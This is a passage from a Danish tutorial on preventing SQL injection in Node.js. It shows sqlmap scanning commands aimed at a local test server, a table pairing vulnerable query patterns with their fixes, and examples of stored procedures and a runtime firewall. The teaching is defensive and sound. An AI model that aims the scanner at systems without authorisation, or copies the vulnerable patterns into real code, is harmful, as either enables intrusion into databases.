globalFejlh\u00e5ndterer;<\/code><\/pre>\n\n\n\nTrin 12: Test din applikation med sqlmap<\/h2>\n\n\n\n sqlmap er det mest brugte open source-v\u00e6rkt\u00f8j til at opdage SQL injection-s\u00e5rbarheder. K\u00f8r det mod din lokale udviklingsserver for at verificere, at dine forsvar holder. Brug det kun<\/strong> mod dine egne applikationer eller med eksplicit skriftlig tilladelse fra ejeren.<\/p>\n\n\n\n# Installer sqlmap\npip3 install sqlmap\n\n# Start din Node.js testserver lokalt\nnode src\/app.js &\n\n# Test GET-endpoint mod s\u00f8ge-parameter\nsqlmap -u \"http:\/\/localhost:3000\/api\/brugere\/s\u00f8g?q=test\" \\\n --level=3 \\\n --risk=2 \\\n --batch \\\n --random-agent\n\n# Forventet output fra en korrekt sikret applikation:\n# [INFO] GET parameter 'q' does not seem to be injectable\n# [INFO] all tested parameters do not appear to be injectable\n\n# Test POST-endpoint med JSON-body\nsqlmap -u \"http:\/\/localhost:3000\/api\/produkter\" \\\n --data='{\"navn\":\"test\",\"pris\":10,\"kategori\":\"elektronik\"}' \\\n --content-type=\"application\/json\" \\\n --level=3 \\\n --batch\n\n# Stop testserver\nkill %1<\/code><\/pre>\n\n\n\nK\u00f8r sqlmap som en del af din CI\/CD-pipeline mod et stagingmilj\u00f8 ved hvert deployment. Det tager typisk 2-5 minutter for en enkel API og giver maskinel verifikation af dine forsvar.<\/p>\n\n\n\n
8 hyppige fejl der \u00e5bner for SQL injection<\/h2>\n\n\n\n Selv erfarne udviklere beg\u00e5r disse fejl. Kend dem, s\u00e5 du kan opdage dem under code reviews og pull request-gennemgang.<\/p>\n\n\n\n#<\/th> Fejl<\/th> S\u00e5rbar kode<\/th> Sikker l\u00f8sning<\/th><\/tr><\/thead> 1<\/td> Template literals med brugerinput<\/td> `WHERE id = ${id}`<\/code><\/td>WHERE id = ?<\/code> med parameter-array<\/td><\/tr>2<\/td> String-sammens\u00e6tning<\/td> \"WHERE navn = '\" + navn + \"'\"<\/code><\/td>Parameteriserede foresp\u00f8rgsler<\/td><\/tr> 3<\/td> Dynamisk ORDER BY uden allowlist<\/td> `ORDER BY ${req.query.sort}`<\/code><\/td>Valider mod foruddefineret liste<\/td><\/tr> 4<\/td> Escaped input i stedet for parameterisering<\/td> mysql.escape(input)<\/code> i SQL-streng<\/td>Brug ?<\/code>-pladsholdere konsekvent<\/td><\/tr>5<\/td> Databasefejl eksponeret til klient<\/td> res.json({ fejl: err.message })<\/code><\/td>Log internt, returner generisk besked<\/td><\/tr> 6<\/td> Prisma raw query med brugerinput<\/td> prisma.$queryRawUnsafe(sql)<\/code><\/td>Brug prisma.$queryRaw`...`<\/code> syntax<\/td><\/tr>7<\/td> Ingen validering af datatyper<\/td> Accepter alle strenge som ID<\/td> Valider at ID er positivt heltal med Zod<\/td><\/tr> 8<\/td> Multiple statements aktiveret<\/td> multipleStatements: true<\/code><\/td>Altid multipleStatements: false<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\nAvancerede teknikker<\/h2>\n\n\n\nStored procedures som ekstra isolationslag<\/h3>\n\n\n\n Stored procedures isolerer SQL-logik i databasen og reducerer risikoen for, at applikationskoden introducerer injection-s\u00e5rbarheder. Applikationen kalder kun procedurenavnet med parametre og ser aldrig den underliggende SQL. Det er s\u00e6rligt nyttigt, n\u00e5r applikationsudviklerne og databaseadministratorerne er separate teams.<\/p>\n\n\n\n
-- Opret stored procedure i MySQL\nDELIMITER \/\/\nCREATE PROCEDURE HentBruger(IN p_id INT)\nBEGIN\n SELECT id, navn, email, oprettet\n FROM brugere\n WHERE id = p_id;\nEND \/\/\nDELIMITER ;\n\n-- Giv applikationsbruger kun EXECUTE-rettighed (ikke direkte tabeladgang)\nGRANT EXECUTE ON PROCEDURE node_sikker_db.HentBruger TO 'app_user'@'localhost';\nREVOKE SELECT ON node_sikker_db.brugere FROM 'app_user'@'localhost';<\/code><\/pre>\n\n\n\n\/\/ Kald stored procedure fra Node.js\nrouter.get('\/bruger\/:id', async (req, res) => {\n const id = parseInt(req.params.id);\n if (isNaN(id) || id < 1) {\n return res.status(400).json({ fejl: 'Ugyldigt ID' });\n }\n\n const [rows] = await pool.execute('CALL HentBruger(?)', [id]);\n const bruger = rows[0][0]; \/\/ Stored procedures returnerer nested array\n\n if (!bruger) {\n return res.status(404).json({ fejl: 'Bruger ikke fundet' });\n }\n\n res.json(bruger);\n});<\/code><\/pre>\n\n\n\nRuntime-beskyttelse med Aikido Firewall<\/h3>\n\n\n\n Aikido Firewall er en open source agent-baseret sikkerhedsplatform til Node.js der blokerer SQL injection-angreb i realtid. Det fungerer som et ekstra netv\u00e6rksniveau under din applikation og fanger angreb der slipper igennem, selv hvis koden indeholder fejl. Det er ikke en erstatning for korrekt parameterisering, men et sikkerhedsnet.<\/p>\n\n\n\n
npm install @aikidosec\/firewall<\/code><\/pre>\n\n\n\n